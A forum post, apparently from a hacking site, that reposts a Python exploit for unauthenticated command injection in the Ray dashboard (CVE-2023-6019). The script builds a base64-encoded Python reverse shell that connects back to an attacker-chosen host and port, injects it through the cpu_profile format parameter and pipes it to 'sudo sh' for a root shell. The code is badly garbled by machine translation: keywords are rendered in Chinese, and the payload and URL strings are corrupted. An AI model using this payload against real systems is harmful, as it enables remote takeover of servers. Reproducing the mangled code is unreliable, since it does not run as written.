H

Ray OS v2.6.3-指挥注射RCE(未经授权)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题:射线OS v2.6.3-命令注入RCE(未经授权)
#Description:
#Ray Project仪表板包含一个CPU分析页面,格式参数为
#未在插入在外壳中执行的系统命令之前未经验证,允许
#用于任意命令执行。如果系统配置为允许无密码的sudo
#(设置某些射线配置需要)这将导致返回根壳
#给用户。如果未配置,将返回用户级别的外壳
#版本:=2.6.3
#日期: 2024-4-10
#利用作者: Fire_Wolf
#测试在: Ubuntu 20.04.6 LTS
#供应商homepage: https://www.ray.io/
#软件link: https://github.com/ray-project/ray
#CVE: CVE-2023-6019
#refer: https://huntr.com/bunties/d0290f3c-b302-4161-89f2-c13bb28b4cfe
#====================================================================================================================
#!usr/bin/python3
#编码=UTF-8
导入基础64
导入argparse
导入请求
导入urllib3
proxies={'http':'127.0.0.1:8080'}
标题={
'用户代理:'Mozilla/5.0(X11; Linux X86_64; RV:91.0)gecko/20100101 Firefox/91.0'
}
DEF CHECK_URL(目标,端口):
target_url=target +':' +端口
https=0
如果“ http”不在target:中
TRY:
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
test_url='http://' + target_url
响应=requests.get(url=test_url,headers=标题,验证=false,timeout=3)
如果响应。STATUS_CODE!=200:
IS_HTTPS=0
返回is_https
除异常外,E:
print('错误!异常IS:' +格式(e))
如果https==1:
返回'https://' + target_url
其他:
返回'http://' + target_url
DEF EXP(目标,IP,LHOST,LPORT):
有pareload='python3 -c \'导入套接字,subprocess,os; s=socket.Socket.Socket(socket.aff_inet,socket.sock.socke.sock_stream); s.connect((('' + lhost +',' + lport +' + lport + ')); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(s.fileno(),2); import pty; pty.spawn('/bin/bash')\'''
打印('[*]有效载荷IS:' +有效载荷)
B64_PAYLOAD=BASE64.B64ENCODE(PAYLOAD.ENCODE())
print('[*] base64编码有效载荷IS:' + b64_payload.decode())
exp_url=target +'/worker/cpu_profile?pid=3354ip=' + str(ip) +'持续时间=5native=0format=echo' + echo' + b64_payload.decode.decode.decode() +'| base64 $ ifs-ifs-ifs-ifs-ifs-ifs-ifs-ifs-ifs-if sudo%20sh'''''
#响应=requests.get(url=exp_url,headers=headers,verify=false,timeout=3,prxoy=prodxiess)
打印(exp_url)
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
响应=requests.get(url=exp_url,headers=标题,验证=false)
if antsphy.status_code==200:
打印('[ - ] error:利用失败,请检查有效载荷。')
其他:
打印('[+]利用完成,请检查您的机器!')
如果name=='__ -Main __':
Parser=argparse.argumentparser(
描述='''
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⡠⠄⡄⡠⡀⣀⡀⢒⠄⡔⡄⢒⠄⢒⠄⣀⡀⣖⡂⡔⡄⢴⠄⣖⡆⠄⠄⡤⡄⡄
⠑⠂⠘⠄⠙⠂⠄⠄⠄⠄⠄⠓⠂⠑⠁⠓⠂⠒⠁⠄⠄⠄⠓⠃⠑⠁⠚⠂⠒⠃⠐⠄⠁⠬⠃
⢰⣱⢠⢠⠠⡦⢸⢄⢀⢄⢀⢄⡠⠄⠄⢸⠍⠍⠠⡅⢠⡠⢀⢄⠄⠄⢸⣸⢀⢄⠈⡇⠠⡯⠄
⠘⠈⠚⠄⠓⠘⠘⠈⠊⠘⠄⠄⠁⠘⠄⠐⠓⠓⠘⠄⠈⠓⠤⠘⠙⠈⠊⠐⠓⠄⠄⠄
⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀⣀⡀
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
''',
formatter_class=argparse.rawdescriptionhelpformatter,

parser.add_argument(' - t',' - target',type=str,必需=true,help,help='tart ip')
parser.add_argument(' - p',' - port',type=str,default=80,quirte=false,help,help='tart主机port')
parser.add_argument(' - l',' - lhost',type=str,quirT oilds=true,help=help='听力主机ip')
parser.add_argument(' - p',' - lport',type=str,默认值=80,必需=false,help,help='听port')
args=parser.parse_args()
#target=args.target
ip=args.target
#port=args.port
#lhost=args.lhost
#lport=args.lport
targeturl=check_url(args.target,args.port)
打印(targeturl)
打印('[*]在url:' + targeturl中检查)
EXP(targeturl,ip,args.lhost,args.lport)
 
后退
顶部